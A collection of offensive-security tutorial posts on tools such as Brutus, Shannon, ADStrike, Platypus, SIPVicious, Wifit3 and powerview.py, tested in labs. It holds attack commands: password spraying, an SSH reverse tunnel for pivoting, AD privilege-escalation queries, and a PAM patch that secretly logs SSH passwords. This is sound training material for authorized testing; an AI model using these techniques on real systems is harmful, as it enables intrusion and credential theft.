Recently a new project was released by Praetorian. Praetorian is open-sourcing the offensive tools their red team actually uses on engagements. They call it 12 Caesars and their team is planning to release one tool a week for twelve weeks. Every tool is written in Go and ships as a single binary with zero external dependencies.
Each tool is assigned a Caesar name and a blog post, where you can learn more about these tools.
We’ll look at four of these tools, including the basic ones, to make this article suitable for everyone. Before we proceed, it’s important to remind you that you can only test systems you own or have explicit written authorization to test. We will use our lab for it.
Titus
Our first tool is Titus. Titus finds credentials, API keys, and tokens in source code, files, git history, container images, and more. The tool has 487 detection rules covering AWS, GCP, Azure, GitHub, Slack, databases and hundreds of other services. Similar to TruffleHog, it can validate credentials as it finds them by calling the provider APIs.
It’s also available as a Burp Suite extension and a Chrome extension.
kali > curl -sL -o titus https://github.com/praetorian-inc/titus/releases/latest/download/titus-linux-amd64
kali > chmod 777 titus
kali > ./titus --help
Let’s start by pointing it at test keys released by Truffle Security.
It found all the keys in the repo. Companies often publish their secrets by accident. Some live in the repositories for years, so it’s good to do regular checks to prevent unnecessary leakage.
Nerva
Nerva is a fingerprinter supporting 170 protocols across TCP, UDP, and SCTP, plus dozens of HTTP technology fingerprinters. You can feed it with open ports from naabu, nmap or other tools and it’ll tell you what’s actually running with its version.
kali > curl -sL -o nerva.tar.gz https://github.com/praetorian-inc/nerva/releases/download/v1.70.3/nerva_1.70.3_linux_amd64.tar.gz
kali > tar --no-same-owner -xzf nerva.tar.gz
kali > chmod 777 nerva
kali > ./nerva --help
Now let’s use our Ubuntu to show a basic test.
kali > ./nerva -t 192.168.131.9:22,11434
It will be way more useful when you work with big lists of corporate assets during a pentest.
Brutus
Brutus is a modern Hydra alternative. It supports more than 40 protocols including SSH, RDP, MySQL, PostgreSQL and a lot more. Brutus was built to work with Nerva or naabu output.
kali > curl -sL -o brutus.tar.gz https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz
kali > tar --no-same-owner -xzf brutus.tar.gz
kali > chmod 777 brutus
kali > ./brutus --help
Each command has its own help menu to make it easy to work with.
kali > ./brutus creds --help
Now once again lets use our Ubuntu to spay passwords.
kali > ./brutus creds --target 127.0.0.1:22 --protocol ssh “admin:admin”
It was easy. As mentioned before, this tool chains with Nerva, and that’s how it becomes useful to test the entire infrastructure against common password and detection.
Julius
With AI services proliferating inside corporate environments, we want to know what LLM infrastructure is running on our hosts. Julius will fingerprint more than 60 AI services including Ollama, vLLM, LiteLLM, LocalAI, Hugging Face TGI, AWS Bedrock and AnythingLLM. It can also list available models from endpoints.
kali > curl -sL -o julius.tar.gz https://github.com/praetorian-inc/julius/releases/download/v1.5.1/julius_1.5.1_linux_amd64.tar.gz
kali > tar --no-same-owner -xzf julius.tar.gz
kali > ./julius --help
You can list all the AI services Julious can fingerprint:
kali > ./julius list
We will take a look at our machine.
kali > ./julius probe http://192.168.131.7:11434
Ollama sits on port 11434, and it’s important not to leave it exposed publicly, because everyone can use your models without authentication.
Summary
There are more tools available in this project. Most of them are meant to be chained together and work well this way. The company says its team is actively using these same tools during their engagements. While you won’t need everything at once, experiment with those tools and see what fits you best.
If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.
We’re continuing our series on Artificial Intelligence in Cybersecurity with another tool called Shannon. Shannon is a white-box AI pentester. It was created to test the security of your project by pointing it at the source code and the test stand. That means it needs both the running application and the source code. First, Shannon does an in-depth analysis of the code in the repository, then looks for attacks against that same project you’re hosting locally. This white-box approach is certainly more effective, as models don’t have to guess possible vulnerabilities, since guessing varies greatly depending on the model you use. Vulnerabilities can only make their way to the report if they have a working PoC. As always, only test systems you own or have explicit written authorization to test.
Now let’s take a closer look at Shannon and test our Juice Shop with it.
Setting Up
Juice Shop is just a Docker container, so we will install Docker and npm first.
kali > sudo apt update
kali > sudo apt install -y docker.io nodejs npm
kali > sudo systemctl enable docker --now
kali > sudo usermod -aG docker $USER
kali > newgrp docker
Then comes the Juice Shop.
kali > docker pull bkimminich/juice-shop
kali > docker run -d --name juice-shop --restart unless-stopped -p 3000:3000 bkimminich/juice-shop
It’s up and running. Now we need to copy the repository to our disk.
kali > git clone --depth 1 https://github.com/juice-shop/juice-shop.git
Once we have it all set, we can get Shannon. Unlike Pentestcode and other tools, Shannon runs differently. By default, it expects your AI API keys in the env. In the next sections we’ll show how to run Shannon with OpenRouter and Ollama.
OpenRouter
Shannon wants to see your API key in the env. You will also need a models.json file somewhere on your disk. Copy the following command to create it.
This will take a while and your free daily tokens won’t be enough to complete the scan.
As the security test progresses, you’ll see all the commands and prompts it runs. Obviously, the frontier models will give better results.
Ollama
Shannon isn’t only limited to APIs. You can perform the same scan with a local model. Many openweight models will be a great fit for it if you have the necessary hardware to make it work smoothly.
Just for the demonstration we’ll use Qwen 2.5-coder 7b.
kali > curl -fsSL https://ollama.com/install.sh | sh
kali > ollama pull qwen2.5-coder:7b
We’ll create the same models.json file to point Shannon to our Ollama.
Make sure your Ollama is accessible, and change the IP address if needed.
kali > export SHANNON_AI_API_KEY=ollama
kali > export SHANNON_AI_MODEL=ollama:qwen2.5-coder:7b
kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --validate-model
Before we do anything, let’s validate the model.
If your model has been validated and you can start scanning your project.
kali > kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --follow
Reporting
When the scan finishes, Shannon creates PDF and Markdown reports with the evidence attached to them. You will also see structured JSON and SARIF files for downstream systems.
Below is an example of a PDF report. As you can see, multiple vulnerabilities were found in the project, some of them are classified as High. As mentioned before, all the findings here were validated with PoCs.
Summary
Shannon was made to find flaws in your web apps to make them more secure. It digs through the project repository and runs checks against a live system. It then creates a report with findings that were discovered with PoCs, so you get a clean report. As AI becomes more prevalent in cybersecurity, it should be used to improve the security of your projects before their release. Of course, that doesn’t replace a human in the loop, but it makes things faster. Stick to better models and don’t cut back on your security.
AI is evolving rapidly and the sooner you learn how to work with it, the greater the advantage you’ll have. That’s why we invite you to join our AI for Cybersecurity training. During this training, you will see you different ways of using AI in cybersecurity, set up local models and solve labs.
Our article on ADScan and ADPulse was popular. Those tools didn’t need the AI to work, they were basically using python libraries to do all the heavy work of analyzing the Active Directory setup. Today we will look at ADStike, which is somewhat similar but uses AI to arrange the attacks. AI here is completely optional. It analyzes the results of each step and decides what tool to run and what information to find. Models that support tool calls can be used for it, like Qwen 2.5-coder 7b.
ADStike has all the common AD attacks and different levels of OPSEC modes with 52 attack modules integrated. We will look at the workflow it has and use a local AI model to direct the pentest.
Setting Up
The repository has the installation process laid out. Let’s use it.
Usually it takes 5 minutes to set things up. Then you will be prompted to fill out the information about the domain. We are using our lab here with a regular account that doesn’t have any privileges in the domain to make it fair.
When it has all the needed information, it will be saved in a config file. You will then see the main menu with options. Each phase has separate steps that can run individually.
We will go with step 53, which is AI. The tool already knows what local Ollama models we have installed and lets us choose if there are some. For this test we kept OPSEC level default.
Once you select the needed options, the scan will begin.
Pentesting Active Directory
The AI orchestrator will start from the first phase (Recon) and select only the appropriate phases and steps for your Active Directory setsups. All environments are different, some attacks will simply be impossible due to infrastructure limitations.
As it progresses we start seeing the output on the screen from the commands it runs.
Basically, it does all you would do but quicker. Below you can see that LAPS were empty, because they were not set up in this domain. You might want to recommend your client fix it, if you encounter the same results. LAPS help a lot in preventing lateral movement, since the Administrator password will never be the same across your machines.
Then Kerberoasting follows. We did have a few roastable accounts. The compromise here will depend on your wordlist.
Since it’s our lab, we knew the password of that user.
Another attack you may see is Timeroasting. Here it uses an impacket script to extract computer hashes. While those are basically impossible to brute force, some computers are vulnerable to Pre2k attack, where the password of the computer matches the DNS name.
Here is more on Pre2k. Look at the NetExec commands. It’s passing the computer name and the password to the DC to find a valid account. These machines can have certain privileges, just like users do. All the privileges can be found in BloodHound. By the way, ADStrike will run SharpHound collection and analyze the data with AI to find paths and worthy accounts.
Finally, after all the necessary steps, you will have a nice report generated in different formats.
Let’s open the HTML version and see what it looks like.
Scrolling down we see the MITRE ATT&CK Coverage
Then we have all the findings and their details.
Summary
ADStrike looks very promising and easy to work with. It has 52 attack modules that are orchestrated with AI. AI here is completely optional and things should work without it as well. If you prefer not to let AI execute anything in your environment, you can use it for planning only or leave it alone to pwn your lab.
Join our AI for Cybersecurity training to learn more! During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have.
Most of you are used to working with tools on your Linux machine. A lot of these tools are built for it. WSL exists, but some of them can also run right inside your Chrome browser. NXC, SharpHound, LDAP-shell, Evil-WinRM and five more are bundled into one signed IWA with multi-protocol support.
Before we go any further, don’t use these tools against systems you’re not authorized to test, and don’t use your daily Chrome browser for this either.
Let’s take a closer look at the bundle and see how it works.
Setting Up
We’ll follow the manual on the website. The setup is quick and just needs a few adjustments to Chrome. The first step is enabling Chrome flags. Paste each of these links and change the status.
Then relaunch Chrome and open web-dev. Recent Chrome updates moved this from web-app-internals.
Here we install a new tool. Paste this link:
https://iwa-tools.pkilla.pw/iwa/update.json
Chrome will fetch the version. Press Install. In apps, you’ll see the iwa-tools console appear. That’s what you need to open.
Working with Tools
The first thing to do is list the help menu, which has all the commands you can run. Each command has its own help menu with the syntax.
iwa > help
iwa > command -h
Let’s do a quick port scan and find out what’s open on our Windows machine in the lab.
iwa > portscan IP 88,389,445,5985,9389 --timeout 2000
Source: Github
If Kerberos and LDAP are open, that means this host is a domain controller. We also have WinRM open. It may give us remote access on the DC with a valid admin account.
iwa > evil-winrm -H IP -u user -p password
Let’s list the DNS zones that our domain has available.
iwa > adidns -H IP -u user -d domain -p password --auth kerberos --tls --list
Source: Github
Finally, let’s see if we can escalate our privileges with ADCS. Certipy is used here.
iwa > certipy find -H IP -u user -d domain -p password --tls -enabled
Source: Github
If you get the same results showing ESC1 is vulnerable, that’s a quick win. There are plenty of write-ups out there on abusing it to get domain admin privileges in the tested domain.
Summary
Creativity has always been one of the most important skills for hackers. Turns out our favorite tools can run inside a browser and reach systems locally. You might still prefer the classic way, which is totally fine, but it’s good to know they work just as well from a browser tab.
If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.
During a pentest you might land on a Linux machine and make your way to root. Then comes cracking passwords, which is quite a challenging thing, unless you have good GPU. This can take a significant time with no promise it will work. Linux hashes, unlike NTLM hashes you have on Windows can’t be reused in lateral movement. Thankfully, there is a technique called PAM patch that can help you get those passwords when users log in via SSH.
Recon with Known Hosts
Before we start patching PAM, we need to understand the network a bit to see what hosts users connect to from this machine. SSH clients store previously accessed servers in a known_hosts file under each user’s .ssh directory. Those files have a list of hosts.
For example, /home/username/.ssh/known_hosts might have a git host. That can be a pivot point. If the compromised machine is in a restricted environment, that host may sit in another subnet or behind access controls you couldn’t otherwise reach. If the user has the same credentials on that host, it will be a pivot point.
Preparing the Host
Before implementing a credential capture mechanism, it’s important to ensure the host accepts password-based logins. SSHD can be configured to forbid password authentication entirely, relying solely on key-based access. To enable credential capture, the following must be set in /etc/ssh/sshd_config.
root > vim /etc/ssh/sshd_configPasswordAuthentication yes
Once this change is in place, the groundwork is set.
Creating a Logging Script
The next step is creating a small script that will record login attempts. With root privileges, create a new file at /usr/local/bin/logc.sh. We then make it executable and create a log file to store credentials.
Now we need to edit the PAM authentication mechanism. PAM configurations vary slightly between distributions, but for SSH specifically, you will need to edit is /etc/pam.d/sshd. For broader system-wide coverage, other files such as /etc/pam.d/common-auth (Debian/Ubuntu) or /etc/pam.d/password-auth (CentOS) could be patched instead.
Once restarted, test the patch by logging in with valid credentials.
Now check the log file.
root > cat /var/log/.authc.log
Each entry has the username, the password they entered, the host they connected from and the date of the attempt. Over time, this log will have a lot of credentials from user sessions, helping you a lot during a pentest.
Summary
There is a great method of harvesting SSH credentials on Linux by modifying the PAM. After finding potential lateral movement hosts, SSH is set up to allow password authentication. A custom logging script is created to save usernames and their passwords. Then the script is integrated into PAM by editing /etc/pam.d/sshd. Restarting SSH activates this change and future connections will be stored with usable credentials.
If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.
One of the challenges during a pentest is keeping everything organized. A small assessment with just a few machines is usually easy to manage, but enterprise environments are a completely different story. You can easily end up working with dozens or even hundreds of Linux and Windows systems, each with different services, users, applications, and configurations.
As pentesters, we often spend a lot of time performing security checks and audits, looking for configs, finding credentials, cloud access tokens and more. All that information is spread across many different hosts and it’s easy to lose track of what’s already been checked and what still needs to be looked at. Managing dozens of SSH sessions or reverse shells gets frustrating fast.
You can use Platypus to solve this issue. It’s a centralized host management platform that makes it a lot easier to work with multiple systems from a single interface.
Let’s see how it works.
What is Platypus
Platypus is an open source host management platform built to help you manage large numbers of Linux, Windows and macOS machines from a web interface. The platform works by starting an agent on every machine you want to manage. Once started, the agent connects back to your Platypus server using encrypted TLS communications and Protocol Buffers (protobuf).
From the web interface you can launch interactive shells, look at the file system, upload and download files, run security audits and much more. You can install Platypus on a VPS and manage machines over the internet or host it entirely inside a local network
Setting Up
The easiest way to install Platypus is with Docker.
kali > git clone https://github.com/WangYihang/Platypus.git
kali > cd Platypus
Before starting the containers, there’s one important configuration change to make.
Open docker-compose.yml with a text editor. By default it has localhost. Since our agents will be connecting from other hosts, replace localhost with the IP address of the machine running Platypus. If you’re deploying on a VPS, replace it with the public IP instead.
That’s the only configuration change needed for a basic installation. Once you’ve saved the file, launch the platform.
kali > docker-compose up -d
After everything finishes, the web interface is available. We had ours on https://192.168.131.7:9443. That’s the same address you should include in the set up process when you access it on the web.
During the initial setup, Platypus will also ask you to create the first administrator account. To prevent unauthorized access, you’ll need to provide the Bootstrap Secret generated during installation
kali > docker cp platypus-platypus-server-1:/app/data/bootstrap.secret .
kali > cat bootstrap.secret
Copy and paste it.
Working with GUI
Each pentest can have its own project. You can also organize by department or environment, prod and dev for example.
Open the project and scroll down to the Open Hosts section. This is where all enrolled machines will appear. The next step is generating an agent to deploy onto your target systems.
The platform supports Linux, Windows and macOS
Creating Agents
When you create an agent, you can choose what to include based on your needs. We selected the Full package, since it has the largest collection of features and plugins.
Once you’ve configured the agent, Platypus generates a unique installation link you can run on the target machine.
Keep in mind that it doesn’t permanently install itself like traditional management software. The agent runs as a process after being launched. By default, every installation URL contains a unique enrollment token valid for a single installation, which helps prevent unauthorized reuse if the link gets out.
To launch the agent on the target machine, use Tmux so the process keeps running even if your SSH session drops.
After a few moments, assuming the machine can reach your Platypus server, the new host will show up in the dashboard with basic system information.
Working with Hosts
One of the first features you’ll use is the interactive shell. Since we went with the Full package, shell was included by default.
Another useful feature is the file browser.
Then we have auditing. Platypus scans the file system looking for valuable configs and sensitive information. All systems are different, but that can include database credentials, API keys, SSH keys, cloud configs and more.
The platform also includes various security checks. These aren’t meant to replace a full security assessment, but they come in handy.
Plugins
Plugins collect information about firewall rules, journald logs, scheduled cron jobs, active network connections and many other parts of the OS.
Summary
Managing large numbers of machines during a pentest can quickly become overwhelming. Valuable information ends up scattered across multiple hosts, so it takes time to track your findings. Platypus keeps all your systems together and cuts down on a lot of the repetitive work in post exploitation.
If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.
If you’ve worked in an office, you’ve seen those phones on every desk. Some are wireless with a station, others look like regular landline phones. SIP is the language office phones use to sign in and start a call over the network. A phone call over the internet has two parts. First the two sides have to find each other and agree to talk, then the actual voice moves. SIP only handles the first part. The voices themselves travel on a separate path. That’s how most VoIP systems set up calls.
That’s why a stolen SIP password can be an issue. They are stealing the system’s belief that they are that desk phone. Once the handshake accepts them as an extension, say 1000, the phone system treats their laptop like that employee’s handset. They can place calls as other people and in many setups receive their incoming calls too.
Today we’re going to use SIPVicious against SIP and show you how it can be compromised.
Asterisk
Asterisk is a program that understands SIP and runs the office switchboard. It decides who can sign in, what numbers exist, and who can call whom. It’s one of the most popular programs for SIP.
We set it up in our lab with Docker.
SIPVicious
Next thing we need to have installed is SIPVicious. The installation is pretty simple.
The tool comes with 5 different commands: svmap, svwar, svcrack, svreport, svcrash.
Each of these commands has a help menu
ubuntu > sipvicious_svmap -h
We’ll use the first three commands for our test. The rest aren’t really important.
Identification
Using svmap we can find out what service the target is running.
ubuntu > sipvicious_svmap 127.0.0.1
Sometimes the results vary depending on whether you provide the extension. The extension is the phone’s account number.
ubuntu > sipvicious_svmap 127.0.0.1 -e 1000
You can look up the version and check whether it’s vulnerable to known exploits
Source: Cystack
Finding Account Numbers
Extensions are account numbers. They usually start at 1000. Old software will allow enumeration, but modern software ignores your requests, so you won’t be able to find out which accounts exist.
Still, it’s worth trying.
ubuntu > sipvicious_svwar 127.0.0.1 -e 1000-1010
You can also try –force and see what comes back. You’ll most likely see 401 Unauthorized, but that can vary depending on the software you’re testing.
This didn’t work in our case, because the password was not predictable.
We did have three contacts in our Asterisk setup though, and the tool successfully compromised all of them.
What Can Hackers Do
One of the biggest risks is toll fraud. Hackers can use compromised extension credentials to register to the system and place expensive international calls. That’s still the most common attack. Hackers can use compromised accounts to run vishing campaigns against other companies. If hackers are already inside and have the phonebook, they can convince employees and support teams to reset passwords, for example.
Summary
Modern software blocks enumeration of existing users, but it’s still possible given how much outdated software is out there. SIPVicious can identify the software in use and test common extensions for weak passwords. There are a few password attacks it can run with or without a wordlist. Sometimes knowing the version alone is enough to compromise a server and get into the network. Don’t overlook yours and regularly upgrade things.
A few weeks ago we published PwnEye, which is a great tool for camera hacking. We talked about the importance of keeping your IoT devices patched to prevent unauthorized access. A less hardened device is a lot more appealing to a hacker, especially when it sits on the same network as other infrastructure.
Cheap devices aren’t really built with security in mind and some of them come with backdoors that sooner or later get discovered and abused by anyone who finds them online.
Today let’s look at a tool that can identify cameras, test credentials and help you harden them.
Eyesharvester
Eyesharvester is a recon tool for IP cameras, DVRs and NVRs. You give it an IP range, it scans common ports, fingerprints the vendor and optionally tries default credentials. It can also show known CVEs associated with a brand and give you basic hardening advice. The tool is mainly for identification and reporting.
Setting Up
Let’s quickly download the repository and install the tool. No dependencies needed to get started.
kali > git clone https://github.com/Exhunterx/eyesharvester.git
kali > cd eyesharvester
kali > bash install.sh
The help menu covers everything the tool can do.
kali > eyesharvester --help
Now let’s look at the ways you can use it.
Testing Cameras
You don’t always get the camera IP ranges from admins, so recon comes first. We need to figure out which IPs belong to cameras.
kali > eyesharvester IP/24
A few cameras were found. Now let’s pipe all those IPs to a text file. The flag below will silence the noise.
kali > eyesharvester IP/24 -q > cameras.txt
kali > cat cameras.txt
You can keep these IPs for future tests, say with PwnEye for example. Or maybe you want to update the spreadsheet of your surveillance infrastructure, as admins often do, though there are better ways to keep a record of everything.
We can also run confirmation checks to make sure these are actually cameras.
kali > eyesharvester IP/24 -c confirmed -v
There’s a confirmed Hikvision camera above. We’ll test it and the rest of those we found for default credentials.
kali > eyesharvester IP/24 --check-creds
Finding a camera with default credentials internally is very common.
Hardening Cameras
Testing cameras is fun, but hardening them is a bigger question that needs to be addressed. Both pentesters and defenders should know how to do it and your report should include recommendations on how to harden these devices.
kali > eyesharvester IP --harden
Based on the vendor and open ports, a hardening checklist is generated along with the CVEs that affect your device. This mainly covers segmenting devices away from business and IT networks, disabling unused services, replacing weak credentials and updating firmware.
It’s very common to find Hikvision cameras vulnerable to CVE-2021-36260. The exploit can give you a shell on the device and lets you run commands.
We tested the same device and it was vulnerable with no patch applied.
This vulnerability is particularly interesting because you can generate a payload with Metasploit for this camera and connect it back to your C2. Then using a Meterpreter proxy or reverse SSH tunnel that camera becomes a proxy for attacking other reachable hosts on the network.
Summary
Testing cameras is definitely fun and PwnEye can help a lot here, but securing them can be part of your job too. Knowing how to both break and fix these devices gives you a better understanding of cybersecurity overall. That’s why you need Eyesharvester.
There are many other attacks on cameras, and it would be a very long article to cover them here. That’s why we created our IP Camera Hacking Training. It’s now part of our Cybersecurity Starter Bundle II. With it you get Wi-Fi Hacking, Python Basics for Hackers, Remaining Anonymous and more.
Many beginners want to know how they can hack their Wi-Fi. It’s fun, it’s easy to get started with and those small wins make the early part of your cybersecurity journey exciting. Testing Wi-Fi security is also an important part of a pentest, since many organizations keep old routers in place with weak security settings. As years go by, those settings get more and more obsolete, like WEP. Some features routers have enabled by default might be convenient, but are often unnecessary. That’s WPS, as you might know. It gets abused regularly to recover a plaintext password and sometimes you can get it in under a minute just because WPS was left on.
If hackers get onto the network, they can start exploring everything on it or just use your Wi-Fi for their own purposes. You don’t want that. That’s why you need to make sure it’s secure.
Today we’ll cover Wifit3, which can help you with this.
What is Wifit3
The tool was developed by the same author who created Wifite2.
Unlike its predecessor, it doesn’t need aircrack-ng, reaver or bully installed. Instead, it uses pure Python with the PyUSB and Textual libraries. Wifit3 works just as well on Linux, macOS and Windows. You’ll only need a USB dongle to work with it. The repository mentions all the supported devices.
It scans both 2.4 GHz and 5 GHz, can tell when a network is WPA3 or in mixed WPA2/WPA3 mode and keeps track of signal and encryption. It also tries to identify the router and pull extra details about it. Hidden network names sometimes get revealed by matching them to a known router address. If you plug in more than one supported Wi‑Fi adapter, you can listen on several at once and leave one free to send packets.
It shows beacons, data, injection and disconnect traffic so you can see what’s in the air while you work.
The tool can listen to Wi‑Fi traffic and send disconnect messages. Those messages kick phones off the network. When a phone joins again, it talks to the router to prove it knows the password. The tool records that conversation. The password is in there, but scrambled, so you can crack it later with hashcat.
Here’s how it looks. Above you can see it capturing handshakes with passwords after disconnecting a client. The tool also managed to capture a PMKID. PMKID is a short hash the router can send that’s tied to the Wi-Fi password. If you capture that hash, you can try passwords against it later on your own machine. You don’t need to kick anyone off the network or capture a full login handshake.
There’s also an Evil Twin mode for WPA3. It tricks phones into leaving the real Wi‑Fi and joining a fake one so the tool can steal a handshake. For WPS it can try the fast Pixie Dust attack, grab the password when someone presses the router’s WPS button and keep guessing the WPS PIN while pausing if the router starts locking out attempts.
That’s how the WPS attack looks. The tool sends an enrollee identity with a public key and gets the router credentials decrypted. The password is then saved to a text file.
WEP is attacked in Python with the usual replay tricks to recover the key.
Setting Up
Now let’s set it up on our machine. As always, we’re going to use Kali, but you can use anything you want.
kali > wget https://github.com/derv82/wifit3/releases/download/v0.3.2/wifit3-linux-x64 -q
kali > chmod 777 wifit3-linux-x64
kali > mv wifit3-linux-x64 wifit3
kali > sudo cp wifit3 /usr/local/bin
We’re all set. Plug in your USB dongle and start the tool.
kali > wifit3
After choosing the right, you can start testing your Wi-Fi. Use it only on your own Wi-Fi or the one you’re authorized to test.
Summary
There are so many vulnerable Wi-Fi networks you’ll come across during pentests. They’re often the quickest way into a network, which is why their security shouldn’t be overlooked. Wifit3 is a new tool that came out relatively recently. It’s easy to work with and can help you cover all the common wireless attacks.
If you’re interested in Wi-Fi security, our Wi-Fi Hacking training can help you gain the necessary experience.
PowerView is one of those tools that has become almost legendary in the world of Windows security. Originally it existed as PowerView.ps1, a script built to enumerate and understand Active Directory environments from the inside. It is used to ask the domain controller all kinds of questions and get detailed answers about users, computers, groups, privileges, relationships and sometimes even weaknesses.
The problem with the original script is that it only runs on Windows and every AV detects it. That’s why powerview.py was created.
OTW always stresses that recon is everything. Active Directory was not really designed to hide internal structure. Any authenticated domain users can enumerate almost everything inside the domain. Many junior pentesters feel lost when they first land inside a domain and aren’t sure what to do next. If that sounds familiar, this article is for you.
What If?
There are two issues you may encounter when working with powerview.py.
The first problem is credentials. Powerview.py requires valid domain credentials. So what happens if you do not have them? This is where MAQ, or Machine Account Quota, becomes important. By default, every user in Active Directory is allowed to create up to ten machine accounts. These machine accounts can authenticate to the domain and can therefore be used for enumeration. So if you have a shell or an RCE you simply create a machine account with a password and then use that account with powerview.py to log in. Some Active Directory setups are misconfigured and allow you to enumerate things anonymously.
The second problem is platform compatibility. Sometimes the machine you compromise is running Windows with no Python and a centrally managed antivirus you can’t disable. Other times you land on a sensitive Linux production box where installing tools isn’t an option. In those cases a reverse proxy tunnel is often the best solution. You can create one on Windows or Linux with this command:
ssh -R 1080 user@vps -Nf
Then you route traffic through port 1080 on your server using proxychains.
Setting Up
Let us prepare the environment for powerview.py. There are several ways, but this method works on most Linux systems:
kali > python3 -m venv venvs/powerview
kali > source venvs/powerview/bin/activate
kali > pip3 install powerview
Once you complete installation, you can connect to the domain controller.
Connection
Connecting to the domain controller is very flexible. You can authenticate using a password, an NTLM hash or even a PFX certificate:
With a password:
kali > powerview domain.local/lowpriv:Password123@192.168.1.12
With an NTLM hash:
kali > powerview domain.local/lowpriv@192.168.86.192 -H NTLM
With a pfx file:
kali > powerview 10.10.10.10 --pfx administrator.pfx
Capabilities
At this point you can explore everything powerview.py can do. Pressing Tab twice lists the available commands. If you’ve used PowerView.ps1 before, you’ll recognize a lot of the names and patterns, though some commands are different. Powerview.py doesn’t include every feature from the original script, but there’s more than enough to fully map a domain.
Every command contains a help section that explains available flags.
PV > Get-DomainComputer -h
Computers
In Active Directory, computers are objects just like users. Each one can have different permissions or roles. Certain misconfigurations can make certain computers valuable to attacks. Here’s how to list all enabled computers vulnerable to unconstrained delegation:
PV > Get-DomainComputer -Enabled -Unconstrained
Even small organizations usually have complex internal structures. You can count all enabled computers like this:
PV > Get-DomainComputer -Enabled -Count
Just 11 computers in our lab. Hackers usually export the names of all those computers and then ping them to get their IPs. That way they get a list of real computers rather than a mix with computer accounts. Exporting computer names looks like this:
PV > Get-DomainComputer -Enabled -Properties name -OutFile /root/computers.txt
You can also pull detailed information about a specific computer:
PV > Get-NetComputerInfo -Computer NAME
Older Windows versions are especially valuable since they often lack modern protections and are still running as critical production systems.
Users
We can enumerate users too. This command shows users with SPNs configured, meaning they’re vulnerable to Kerberoasting:
Exchange remains a high value target. It has certain privileges that can help hackers abuse it and escalate in the domain. On top of that, it has a long history of vulnerabilities like ProxyShell, which let hackers get in without valid credentials.
Vulnerabilities
PowerView also finds certain vulnerabilities automatically in its output, so you can quickly spot misconfigurations.
Summary
These examples are only a small part of what powerview.py can do. The tool also supports DFSCoerce, PrinterBug, and several Kerberos related attacks. The amount of information you can pull with just a low privileged account is enormous. That’s why we strongly recommend powerview.py for both defenders and red teamers.
Recon might not feel exciting at first, but it’s the true foundation of effective security work. When you learn to listen to what the domain is already telling you, the path forward becomes a lot clearer.
If you want to advance your Linux skills in a penetration testing environment, or you’re planning to take the OSCP exam, you need to get creative with how you use your Linux machine. We offer our Advanced Linux for Hackers training.
With so many AI tools out there, it’s getting harder to find the ones actually worth your time. A lot of projects look alike and the differences between them can come down to minor UI tweaks. But it’s still worth digging, because every now and then you find something good.
One of the interesting projects we came across recently is Cybermes. It’s an offensive security assistant and automation framework built for bug bounty hunting, recon and reporting. It has more than 200 security playbooks and full Model Context Protocol (MCP) support. The most notable thing here is the reporting structure. The framework handles reporting really well, it has a scope.yaml file you can modify and the TUI interface looks clean.
We’ll show what the assistant can do and how well it handles the tasks.
Setting Up
Unlike PentestCode, there’s some work to do before you can start using the tool.
First, make sure you have Go installed on your Kali. The framework needs to compile tools and without Go your installation will be incomplete.
kali > sudo apt update
kali > sudo apt install go-lang
Then download the repository and run the setup script.
kali > git clone https://github.com/Zyrexnn/Cybermes.git
kali > cd Cybermes
kali > python3 -m venv venv; source venv/bin/activate
kali > chmod 777 setup.sh
kali > ./setup.sh
It’ll take a few minutes. When it’s done, run the doctor script to make sure everything is in order.
kali > python3 tools/doctor.py
After that, add your OpenRouter API key to two env files before you can start working with the tool.
kali > vim .env
kali > vim hermes/.env
Make sure you add the API key to both files, otherwise it won’t work.
kali > ./cybermes model
Finally, specify the scope in scope.yaml. We’ve got OWASP Juice Shop for the test, listening on port 3000.
Now we’re all set.
IDOR/BOLA – Terminal User Interface
The Terminal User Interface is clean and easy to work with, so we’ll start there. You might end up preferring it over the CLI version.
kali > TARGET=127_0_0_1_3000
kali > ./cybermes –tui
Our first prompt in TUI is hunting for IDOR using Nemotron 3.5 Lightning. As the model tests the target, you’ll see entries populating the screen with the commands the tool runs.
Fifteen minutes later we got our results and BOLA was confirmed.
Reporting is really the strongest side of this framework. It created a couple of files with reports and sorted them properly. As you keep hunting for bugs on the same target, all your findings get brought together in one file.
Findings are always stored in Markdown format and keep almost the same structure every time, which makes them look professional.
JWT & SQLi – Command-line Interface
Now let’s look at the CLI version and try to find more bugs.
kali > ./cybermes --cli
Our first prompt will be testing JWT:
Authorized lab only. Target http://127.0.0.1:3000/rest/user/login.
Audit authentication and JWT handling with non-destructive requests. Try the publicly documented Juice Shop demo accounts if needed (admin@juice-sh.op / admin123 and a normal user you register).
Check token claims, privilege flags, and whether a standard user can hit admin-ish REST routes.
Record only confirmed issues under reports/127_0_0_1_3000/findings/.
It took some time to reason through and test the app, then gave the results.
The same files were produced again, with PoCs and an explanation of each bug and the risks tied to it.
We also tested SQLi on search:
Authorized lab only. Audit http://127.0.0.1:3000/rest/products/search?q= for SQL injection using safe syntax and error/timing evidence. Do not dump the full database into the terminal. If confirmed, write reports/127_0_0_1_3000/findings/high_sqli_product_search.md and a minimal PoC in pocs/.
Here’s the report on our SQLi finding, looking just as good as the previous ones.
The tool passed all our tests against the Juice Shop and brought the findings together in the final report. The skills it ships with work well. You might want to go through them and add some of the ones we covered recently. We covered a repository with 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne.
Summary
Cybermes has clear strengths. It’s good at reporting, it has a clean TUI and a big library of built in skills. The framework sets up quickly if you have Go installed on your Kali and it already knows which tools to work with based on those skills. That’s handy. We used OpenRouter for this test, but you can also point it at your local Ollama models. For that you’ll need a tool calling model (qwen2.5:14b). Chat only 3B models won’t cut it here.
We also invite you to join our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have.
